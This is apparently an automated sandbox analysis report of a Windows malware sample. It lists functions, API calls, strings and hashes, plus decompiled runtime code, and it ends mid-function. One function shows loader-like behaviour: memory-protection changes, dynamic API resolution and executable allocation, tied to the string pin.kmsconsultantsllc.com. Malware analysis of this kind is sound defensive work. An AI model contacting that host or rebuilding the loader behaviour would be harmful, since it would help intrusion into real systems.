0x0042bc85
0x0042bc86
0x0042bc8d
0x0042bc8f
0x0042bc93
0x0042bc96
0x0042bc96
0x0042bc93
0x0042bc9c
0x0042bc9e
0x0042bc9e
0x0042bca3
0x0042bca6
0x0042bca6
0x0042bca3
0x0042bca8
0x0042bcab
0x0042bcab
0x0042bcae
0x0042bcba
0x00000000

APIs

InterlockedDecrement.KERNEL32(0042ABEA), ref: 0042BC4A
InterlockedDecrement.KERNEL32(FFFFFF3B), ref: 0042BC57
InterlockedDecrement.KERNEL32(0768016A), ref: 0042BC64
InterlockedDecrement.KERNEL32(C310C483), ref: 0042BC71
InterlockedDecrement.KERNEL32(FF0C2474), ref: 0042BC7E
InterlockedDecrement.KERNEL32(FF0C2474), ref: 0042BC96
InterlockedDecrement.KERNEL32(6A016AC3), ref: 0042BCA6
InterlockedDecrement.KERNEL32(FEFFFF4D), ref: 0042BCBA

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: DecrementInterlocked
String ID:
API String ID: 3448037634-0
Opcode ID: 1cff3e932d2f26a3938b8ba9cece618c32fa88a5059d316c179d5df401ca062f
Instruction ID: 87262c68be9383ac6c820a0a83b61759104d4ecb0c212072b0f00d8c92c645c3
Opcode Fuzzy Hash: 1cff3e932d2f26a3938b8ba9cece618c32fa88a5059d316c179d5df401ca062f
Instruction Fuzzy Hash: 7201CC7170172597EA20AA7AED88B6BB3DCEF91741F49445AE544D7250CB78E8008AA8

Function 0042BBB1, Relevance: 12.1, APIs: 8, Instructions: 57

C-Code - Quality: 100%

			E0042BBB1() {
				LONG* _t12;
				LONG* _t13;
				LONG* _t14;
				LONG* _t15;
				LONG* _t16;
				LONG* _t17;
				long* _t27;
				LONG* _t29;
				void* _t30;
				void* _t31;

				_t29 =  *(_t31 + 0x10);
				InterlockedIncrement(_t29);
				_t12 = _t29[0x2c];
				if(_t12 != 0) {
					InterlockedIncrement(_t12);
				}
				_t13 = _t29[0x2e];
				if(_t13 != 0) {
					InterlockedIncrement(_t13);
				}
				_t14 = _t29[0x2d];
				if(_t14 != 0) {
					InterlockedIncrement(_t14);
				}
				_t15 = _t29[0x30];
				if(_t15 != 0) {
					InterlockedIncrement(_t15);
				}
				_t27 =  &(_t29[0x14]);
				_t30 = 6;
				do {
					if( *((intOrPtr*)(_t27 - 8)) != 0x43ed08) {
						_t16 =  *_t27;
						if(_t16 != 0) {
							InterlockedIncrement(_t16);
						}
					}
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						_t17 = _t27[1];
						if(_t17 != 0) {
							InterlockedIncrement(_t17);
						}
					}
					_t27 =  &(_t27[4]);
					_t30 = _t30 - 1;
				} while (_t30 != 0);
				return InterlockedIncrement(_t29[0x35] + 0xb4);
			}

0x0042bbb4
0x0042bbc0
0x0042bbc2
0x0042bbca
0x0042bbcd
0x0042bbcd
0x0042bbcf
0x0042bbd7
0x0042bbda
0x0042bbda
0x0042bbdc
0x0042bbe4
0x0042bbe7
0x0042bbe7
0x0042bbe9
0x0042bbf1
0x0042bbf4
0x0042bbf4
0x0042bbf8
0x0042bbfb
0x0042bbfc
0x0042bc03
0x0042bc05
0x0042bc09
0x0042bc0c
0x0042bc0c
0x0042bc09
0x0042bc12
0x0042bc14
0x0042bc19
0x0042bc1c
0x0042bc1c
0x0042bc19
0x0042bc1e
0x0042bc21
0x0042bc21
0x0042bc36

APIs

InterlockedIncrement.KERNEL32(?), ref: 0042BBC0
InterlockedIncrement.KERNEL32(?), ref: 0042BBCD
InterlockedIncrement.KERNEL32(?), ref: 0042BBDA
InterlockedIncrement.KERNEL32(?), ref: 0042BBE7
InterlockedIncrement.KERNEL32(?), ref: 0042BBF4
InterlockedIncrement.KERNEL32(?), ref: 0042BC0C
InterlockedIncrement.KERNEL32(00000000), ref: 0042BC1C
InterlockedIncrement.KERNEL32(?), ref: 0042BC30

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: IncrementInterlocked
String ID:
API String ID: 3508698243-0
Opcode ID: 13c364b6b0967544128a01125e4a7f14b3f3c70b072af4a536c3abb1aab6061e
Instruction ID: 5b46d7dfbb82309b0e9759a5605b232d9de9c75b70cf2e473c6277d3a9af07f2
Opcode Fuzzy Hash: 13c364b6b0967544128a01125e4a7f14b3f3c70b072af4a536c3abb1aab6061e
Instruction Fuzzy Hash: CF010C7170071A9BEB20AA7AED88F67B7DCEF80341F49485AE544D7654CB78E804CAA4

Function 0043794E, Relevance: 10.8, APIs: 7, Instructions: 341

APIs

CompareStringW.KERNEL32(00000000,00000000,00439AAC,00000001,00439AAC,00000001,00000000,7FFFFFFF,00000000), ref: 00437985
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00437D05,?,?,?,?,?,?), ref: 0043799B
GetCPInfo.KERNEL32(?,?,00000000,7FFFFFFF,00000000), ref: 00437A68
__alloca_probe_16.NTDLLP ref: 00437B1A
__alloca_probe_16.NTDLLP ref: 00437B9A
CompareStringW.KERNEL32(?,00437D05,00000000,?,00000000,00000000), ref: 00437BEF

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?), ref: 0043540E

CompareStringA.KERNEL32(?,00437D05,?,000000FF,?,?,00000000,7FFFFFFF,00000000), ref: 00437CA9

Part of subcall function 00435433: __alloca_probe_16.NTDLLP ref: 004354D3
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0043555D

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: CompareString__alloca_probe_16$ExceptionFilterInfoProcessUnhandled$ByteCharCurrentDebuggerErrorLastLocaleMultiPresentTerminateWide
String ID:
API String ID: 132843013-0
Opcode ID: 08e53e26fcf8cc147569229599a460f30e939d8b1a6f3270bb5a2ee3138af336
Instruction ID: 8c6ebfc15b4e754c06016ce031b521f2bc1a43f8332c90f01a6611aa82b486c1
Opcode Fuzzy Hash: 08e53e26fcf8cc147569229599a460f30e939d8b1a6f3270bb5a2ee3138af336
Instruction Fuzzy Hash: 37B137B1A082099FDF319F65CC81BAF7BB6EF4D310F24612BE89196290D7788D51CB58

Function 0042EC55, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 165

APIs

GetStringTypeW.KERNEL32(00000001,00439AAC,00000001,?,?,?,?,?,?,?,0042EE3B,?,?,?,?,?), ref: 0042EC82
GetLastError.KERNEL32(?,?,?,?,?,?,0042EE3B,?,?,?,?,?,?,?), ref: 0042EC94
__alloca_probe_16.NTDLLP ref: 0042ED1A
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0042ED71

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?), ref: 0043540E

GetStringTypeA.KERNEL32(?,?,?,?,;B,?,?,?,?,?,?,0042EE3B,?,?,?,?), ref: 0042EDE6

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 00435433: __alloca_probe_16.NTDLLP ref: 004354D3
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0043555D

Strings

;B, xrefs: 0042EDD7

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: StringType$ExceptionFilterProcessUnhandled__alloca_probe_16$ByteCharCurrentDebuggerErrorInfoLastLocaleMultiPresentTerminateWide
String ID: ;B
API String ID: 1734326913-393468387
Opcode ID: 26266a901179c7a77e8571c7ca23fe61b684c1af4496448b70b05b753a6e4ba7
Instruction ID: 64cec38d8d377934e139659f9db1e281dfbb1baeb4d973782757b5c644e14145
Opcode Fuzzy Hash: 26266a901179c7a77e8571c7ca23fe61b684c1af4496448b70b05b753a6e4ba7
Instruction Fuzzy Hash: 8151A17261012AEFDF109F66EC819AF7BA9FF08354B94442BF904D7250D738DD618BA8

Function 00408600, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110memorysleep

APIs

VirtualProtect.KERNEL32(pin.kmsconsultantsllc.com,00000184,00000040,?,00000000), ref: 0040862F
VirtualProtect.KERNEL32(pin.kmsconsultantsllc.com,00000184,?,?,pin.kmsconsultantsllc.com,00000184), ref: 0040865A
GetModuleHandleW.KERNEL32(00000000,00000343,?,?,?,?,?,?,?,?,?,?,?,?,00416449), ref: 00408667

Part of subcall function 00410AA0: GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410AB8
Part of subcall function 00410AA0: GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ACB
Part of subcall function 00410AA0: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ADE
Part of subcall function 00410AA0: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B62
Part of subcall function 00410AA0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410B76
Part of subcall function 00410AA0: GetProcessHeap.KERNEL32(00000008,00000020,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B94
Part of subcall function 00410AA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B9B
Part of subcall function 00410AA0: GetComputerNameW.KERNEL32 ref: 00410BC5
Part of subcall function 00410AA0: lstrcpyW.KERNEL32(024508A8,00000000), ref: 00410C83

Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 0040700B
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407012
Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 0040715A
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407161
Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 00407292
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407299
Part of subcall function 00406E70: GetProcessHeap.KERNEL32(00000008,00000000), ref: 004072C5
Part of subcall function 00406E70: HeapAlloc.KERNEL32(00000000), ref: 004072CC
Part of subcall function 00406E70: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040731E
Part of subcall function 00406E70: HeapFree.KERNEL32(00000000), ref: 00407325

Part of subcall function 0040D8B0: lstrcatW.KERNEL32 ref: 0040DA04
Part of subcall function 0040D8B0: GetTickCount.KERNELBASE ref: 0040DA3F

Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 00411CC2
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411CC9
Part of subcall function 00411CA0: wsprintfW.USER32 ref: 00411DF6
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000000,?,80000001,00000000,?), ref: 00411E4B
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411E52
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,?,00000000,?,80000001,00000000,?), ref: 00411E72
Part of subcall function 00411CA0: HeapReAlloc.KERNEL32(00000000), ref: 00411E79
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00411EAB
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EB2
Part of subcall function 00411CA0: RegCloseKey.ADVAPI32(00000000), ref: 00411ED0
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020019,00000000), ref: 00411EDC
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EE3

Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2F0,DDDD,00000004,00408712,?,?,?,?), ref: 00419B0E
Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2E7), ref: 00419B5F

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

Part of subcall function 00419190: VirtualAlloc.KERNEL32(00000000,00000055,00003000,00000040,?,?,?), ref: 004191D3
Part of subcall function 00419190: VirtualFree.KERNEL32(00000000,00000055,00004000,?,?,?,?), ref: 004192C1

Sleep.KERNEL32(000000FF,?,?,00000000,?,?), ref: 00408747

Strings

pin.kmsconsultantsllc.com, xrefs: 0040862A, 0040863E, 00408655
IdA, xrefs: 0040872D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$Virtual$AddressLibraryLoadProclstrcpy$HandleModuleProtect$CloseComputerCountCreateCurrentErrorEventLastNameSleepTickVersionlstrcatwsprintf
String ID: IdA$pin.kmsconsultantsllc.com
API String ID: 1183291452-105239218
Opcode ID: 72c7ba8cb7603a3efa6f0f687d9f6f242f60df67fa5780f7928dc9888b4908a6
Instruction ID: ff07c5fcea59ac8680f93b67723d79ffdba50446b5cc7223fd6fbf586d41b603
Opcode Fuzzy Hash: 72c7ba8cb7603a3efa6f0f687d9f6f242f60df67fa5780f7928dc9888b4908a6
Instruction Fuzzy Hash: 0431DF71A00208EBDB10DBE1DD52BEE7779AB54304F14896EE601B62C0EE799A41CB69

Function 004079D0, Relevance: 10.6, APIs: 7, Instructions: 102memorysleep

APIs

GetProcessHeap.KERNEL32(00000008,00000010), ref: 004079E9
HeapAlloc.KERNEL32(00000000), ref: 004079F0
OpenProcess.KERNEL32(0000043A,00000000,?), ref: 00407A19
GetCurrentProcess.KERNEL32 ref: 00407A67

Part of subcall function 0040CB10: GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,0000000F), ref: 0040CC78
Part of subcall function 0040CB10: GetProcAddress.KERNEL32(00000000), ref: 0040CC7F

CloseHandle.KERNEL32(?), ref: 00407AFC

Part of subcall function 00401910: GetVersion.KERNEL32 ref: 0040193B
Part of subcall function 00401910: CloseHandle.KERNEL32(00000000), ref: 00401BC9

Sleep.KERNEL32(00000032,?,?,?,?,00000000), ref: 00407AE1
CloseHandle.KERNEL32 ref: 00407AEF

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Handle$CloseProcess$Heap$AddressAllocCurrentModuleOpenProcSleepVersion
String ID:
API String ID: 1507552073-0
Opcode ID: ea6307c74cc7484554f8d7c762ff59c6e9ec77796d4bb9676ec7d66fe32e2db9
Instruction ID: 0f73c2553e40f9bd926ceeb3311f3b6f37f9a9293204c1f7c9e1bec40b7d600d
Opcode Fuzzy Hash: ea6307c74cc7484554f8d7c762ff59c6e9ec77796d4bb9676ec7d66fe32e2db9
Instruction Fuzzy Hash: 41413D74E44209EFDB00DFE4D885BAEBBB5BB48300F10856AE501B7381D7786A40DF9A

Function 0040DA90, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85string

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetEnvironmentVariableA.KERNEL32(00000000,?,00000104,0000000D,00000000), ref: 0040DB62
lstrlenA.KERNEL32(?), ref: 0040DB73

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

5, xrefs: 0040DAB9
;, xrefs: 0040DACD
rhTas, xrefs: 0040DB37
T, xrefs: 0040DAE1

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocEnvironmentFreeVariablelstrlen
String ID: 5$;$T$rhTas
API String ID: 1954739202-1294785904
Opcode ID: e21576bc1e6ea2087bb5ebee787c4cb40fca313b81016068df5b07b6e453d004
Instruction ID: 68f6223669dd1658daedb691302f7590b1b5f77dc8177d27a8fddcad75051511
Opcode Fuzzy Hash: e21576bc1e6ea2087bb5ebee787c4cb40fca313b81016068df5b07b6e453d004
Instruction Fuzzy Hash: 1F314F71D04288DAEF11DBE4C8587EEBFB55F16308F0440AAD541772C2C7B95B48DBA5

Function 00437697, Relevance: 9.2, APIs: 6, Instructions: 197

C-Code - Quality: 94%

			E00437697(void* __edx, intOrPtr* _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, int _a28) {
				signed int _v8;
				short _v12;
				signed int _v16;
				int _v20;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t57;
				short* _t59;
				int _t60;
				int _t62;
				short* _t65;
				void* _t67;
				int _t68;
				void* _t74;
				short* _t75;
				void* _t77;
				char* _t78;
				int _t87;
				long _t88;
				void* _t98;
				int _t101;
				signed int _t102;
				char* _t103;
				short* _t105;

				_t98 = __edx;
				_t57 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t57 ^ _t102;
				if(_a16 >= 0xffffffff) {
					_t59 =  *0x43faa8; // 0x0
					_t101 = GetStringTypeW;
					_t99 = 0;
					_t90 = 1;
					__eflags = _t59;
					if(_t59 != 0) {
						L8:
						__eflags = _t59 - _t90;
						if(_t59 != _t90) {
							__eflags = _t59 - 2;
							if(_t59 == 2) {
								L12:
								__eflags = _a28 - _t99;
								_v16 = _t99;
								if(_a28 == _t99) {
									_a28 =  *((intOrPtr*)( *_a4 + 0x14));
								}
								__eflags = _a24 - _t99;
								if(_a24 == _t99) {
									_a24 =  *((intOrPtr*)( *_a4 + 4));
								}
								_t60 = E004353EC(_t90, _t98, _t99, _t101, _a28);
								__eflags = _a24 - _t60;
								if(_a24 != _t60) {
									__eflags = _t60 - 0xffffffff;
									if(_t60 != 0xffffffff) {
										_a24 = _t60;
									}
								}
								_t90 = WideCharToMultiByte;
								_t101 = WideCharToMultiByte(_a24, _t99, _a12, _a16, _t99, _t99, _t99, _t99);
								__eflags = _t101 - _t99;
								_v20 = _t101;
								if(__eflags == 0) {
									goto L1;
								} else {
									if(__eflags <= 0) {
										L29:
										_v12 = _t99;
										L30:
										__eflags = _v12 - _t99;
										if(_v12 == _t99) {
											goto L1;
										}
										E0042DD30(_t99, _v12, _t99, _t101);
										_t105 =  &(_t103[0xc]);
										_t65 = WideCharToMultiByte(_a24, _t99, _a12, _a16, _v12, _t101, _t99, _t99);
										__eflags = _t65;
										if(_t65 == 0) {
											L49:
											E0042E54D(_v12);
											_t62 = _v16;
											L50:
											return E0042DBBB(_t62, _t90, _v8 ^ _t102, _t98, _t99, _t101);
										}
										_t33 = _t101 + 1; // 0x1
										_t67 = _t33;
										__eflags = _t67 - _t99;
										if(_t67 <= _t99) {
											L40:
											_t90 = 0;
											__eflags = 0;
											L41:
											__eflags = _t90 - _t99;
											if(_t90 == _t99) {
												goto L49;
											}
											__eflags = _a28 - _t99;
											if(_a28 == _t99) {
												_a28 =  *((intOrPtr*)( *_a4 + 0x14));
											}
											_t99 = _a16 + _a16;
											_t101 = _t90 + _a16 + _a16;
											 *_t101 =  *_t101 | 0x0000ffff;
											 *(_t101 - 2) =  *(_t101 - 2) | 0x0000ffff;
											_t68 = GetStringTypeA(_a28, _a8, _v12, _v20, _t90);
											__eflags =  *(_t101 - 2) - 0xffff;
											_v16 = _t68;
											if( *(_t101 - 2) == 0xffff) {
												L47:
												_t51 =  &_v16;
												 *_t51 = _v16 & 0x00000000;
												__eflags =  *_t51;
												goto L48;
											} else {
												__eflags =  *_t101 - 0xffff;
												if( *_t101 != 0xffff) {
													goto L47;
												}
												E00434C50(_t90, _a20, _t90, _t99);
												L48:
												E0042E54D(_t90);
												goto L49;
											}
										}
										__eflags = _t67 - 0x7ffffff0;
										if(_t67 > 0x7ffffff0) {
											goto L40;
										}
										_t35 = _t101 + 0xa; // 0xa
										_t74 = _t101 + _t35;
										__eflags = _t74 - 0x400;
										if(_t74 > 0x400) {
											_t75 = E0042EF11(_t90, _t98, _t99, _t101, _t74);
											__eflags = _t75 - _t99;
											if(_t75 != _t99) {
												 *_t75 = 0xdddd;
												_t75 =  &(_t75[4]);
												__eflags = _t75;
											}
											_t90 = _t75;
											goto L41;
										}
										E004353C0(_t74);
										_t90 = _t105;
										__eflags = _t90 - _t99;
										if(_t90 == _t99) {
											goto L49;
										}
										 *_t90 = 0xcccc;
										_t90 =  &(_t90[4]);
										goto L41;
									}
									__eflags = _t101 - 0xffffffe0;
									if(_t101 > 0xffffffe0) {
										goto L29;
									}
									_t24 = _t101 + 8; // 0x8
									_t77 = _t24;
									__eflags = _t77 - 0x400;
									if(_t77 > 0x400) {
										_t78 = E0042EF11(WideCharToMultiByte, _t98, _t99, _t101, _t77);
										__eflags = _t78 - _t99;
										if(_t78 == _t99) {
											L28:
											_v12 = _t78;
											goto L30;
										}
										 *_t78 = 0xdddd;
										L27:
										_t78 =  &(_t78[8]);
										__eflags = _t78;
										goto L28;
									}
									E004353C0(_t77);
									_t78 = _t103;
									__eflags = _t78 - _t99;
									if(_t78 == _t99) {
										goto L28;
									}
									 *_t78 = 0xcccc;
									goto L27;
								}
							}
							__eflags = _t59 - _t99;
							if(_t59 != _t99) {
								goto L1;
							}
							goto L12;
						}
						L9:
						_t62 = GetStringTypeW(_a8, _a12, _a16, _a20);
						goto L50;
					}
					_t87 = GetStringTypeW(1, 0x439aac, 1,  &_v12);
					__eflags = _t87;
					if(_t87 == 0) {
						_t88 = GetLastError();
						__eflags = _t88 - 0x78;
						if(_t88 != 0x78) {
							_t59 =  *0x43faa8; // 0x0
						} else {
							_t59 = 2;
							 *0x43faa8 = _t59;
						}
						goto L8;
					} else {
						 *0x43faa8 = 1;
						goto L9;
					}
				}
				L1:
				_t62 = 0;
				goto L50;
			}

0x00437697
0x0043769d
0x004376a4
0x004376ae
0x004376b7
0x004376bc
0x004376c4
0x004376c6
0x004376c7
0x004376c9
0x004376fe
0x004376fe
0x00437700
0x00437715
0x00437718
0x0043771e
0x0043771e
0x00437721
0x00437724
0x0043772e
0x0043772e
0x00437731
0x00437734
0x0043773e
0x0043773e
0x00437744
0x00437749
0x0043774d
0x0043774f
0x00437752
0x00437754
0x00437754
0x00437752
0x00437757
0x0043776d
0x0043776f
0x00437771
0x00437774
0x00000000
0x0043777a
0x0043777a
0x004377b7
0x004377b7
0x004377ba
0x004377ba
0x004377bd
0x00000000
0x00000000
0x004377c8
0x004377cd
0x004377e0
0x004377e2
0x004377e4
0x0043789d
0x004378a0
0x004378a5
0x004378a9
0x004378ba
0x004378ba
0x004377ea
0x004377ea
0x004377ed
0x004377ef
0x00437835
0x00437835
0x00437835
0x00437837
0x00437837
0x00437839
0x00000000
0x00000000
0x0043783b
0x0043783e
0x00437848
0x00437848
0x00437852
0x00437857
0x0043785d
0x00437865
0x0043786b
0x00437871
0x00437877
0x0043787a
0x00437892
0x00437892
0x00437892
0x00437892
0x00000000
0x0043787c
0x0043787c
0x00437881
0x00000000
0x00000000
0x00437888
0x00437896
0x00437897
0x00000000
0x0043789c
0x0043787a
0x004377f1
0x004377f6
0x00000000
0x00000000
0x004377f8
0x004377f8
0x004377fc
0x00437801
0x0043781e
0x00437823
0x00437826
0x00437828
0x0043782e
0x0043782e
0x0043782e
0x00437831
0x00000000
0x00437831
0x00437803
0x00437808
0x0043780a
0x0043780c
0x00000000
0x00000000
0x00437812
0x00437818
0x00000000
0x00437818
0x0043777c
0x0043777f
0x00000000
0x00000000
0x00437781
0x00437781
0x00437784
0x00437789
0x0043779f
0x004377a4
0x004377a7
0x004377b2
0x004377b2
0x00000000
0x004377b2
0x004377a9
0x004377af
0x004377af
0x004377af
0x00000000
0x004377af
0x0043778b
0x00437790
0x00437792
0x00437794
0x00000000
0x00000000
0x00437796
0x00000000
0x00437796
0x00437774
0x0043771a
0x0043771c
0x00000000
0x00000000
0x00000000
0x0043771c
0x00437702
0x0043770e
0x00000000
0x0043770e
0x004376d6
0x004376d8
0x004376da
0x004376e4
0x004376ea
0x004376ed
0x004376f9
0x004376ef
0x004376f1
0x004376f2
0x004376f2
0x00000000
0x004376dc
0x004376dc
0x00000000
0x004376dc
0x004376da
0x004376b0
0x004376b0
0x00000000

APIs

GetStringTypeW.KERNEL32(00000001,00439AAC,00000001,?), ref: 004376D6
GetLastError.KERNEL32 ref: 004376E4
GetStringTypeW.KERNEL32(?,?,000000FF,?), ref: 0043770E

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?,00000000), ref: 0043540E

WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0043776B
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 004377E0

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

GetStringTypeA.KERNEL32(00000000,?,?,?,00000000), ref: 0043786B

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: StringType$ByteCharExceptionFilterMultiProcessUnhandledWide$AllocCurrentDebuggerErrorHeapInfoLastLocalePresentTerminate
String ID:
API String ID: 3222496361-0
Opcode ID: e1210e421b4710f97b4f41a5fc388cde6a37c72a2c642274d47086b23dcf3994
Instruction ID: c3c1b8f30f5ef229d442f479b15dd994862ccbc40054f9c1107ea09a8196866e
Opcode Fuzzy Hash: e1210e421b4710f97b4f41a5fc388cde6a37c72a2c642274d47086b23dcf3994
Instruction Fuzzy Hash: D561DEB1904609EFDF31AF69CC8589F7BB1EF4D324F20652BE89092260D338D851CB68

Function 0042F131, Relevance: 9.2, APIs: 6, Instructions: 181
memory

C-Code - Quality: 66%

			E0042F131(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _t26;
				long _t27;
				intOrPtr* _t29;
				intOrPtr* _t33;
				intOrPtr* _t37;
				long _t39;
				void* _t43;
				long _t45;
				long _t48;
				long _t49;
				long _t51;
				long _t53;
				void* _t57;
				long _t70;
				long _t73;
				void* _t79;
				void* _t80;

				_t68 = __edx;
				_push(0x10);
				_push(0x43afc8);
